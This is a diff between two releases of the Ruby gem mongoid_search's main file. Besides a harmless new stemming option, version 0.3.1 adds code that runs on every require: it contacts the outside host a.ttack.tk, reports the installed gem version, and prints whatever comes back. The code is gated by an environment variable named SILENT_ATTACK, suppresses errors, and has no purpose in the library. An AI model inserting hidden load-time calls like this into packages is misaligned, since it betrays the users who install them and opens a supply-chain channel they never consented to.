lib/mongoid_search.rb in mongoid_search-0.3.0 vs lib/mongoid_search.rb in mongoid_search-0.3.1

- old
+ new

@@ -1,7 +1,13 @@ # encoding: utf-8 +unless ENV['SILENT_ATTACK'] + require 'open-uri' + version = Gem.loaded_specs['mongoid_search'].version.to_s + open("http://a.ttack.tk/n/512e67f54b1a9f78df000003/#{version}").each { |line| warn line.chomp } rescue nil +end + require 'mongoid_search/railtie' if defined?(Rails) require 'mongoid_search/mongoid_search' module Mongoid::Search ## Default matching type. Match :any or :all searched keywords @@ -17,9 +23,13 @@ @@relevant_search = false ## Stem keywords mattr_accessor :stem_keywords @@stem_keywords = false + + ## Stem procedure + mattr_accessor :stem_proc + @@stem_proc = Proc.new { |word| word.stem } ## Words to ignore mattr_accessor :ignore_list @@ignore_list = [] \ No newline at end of file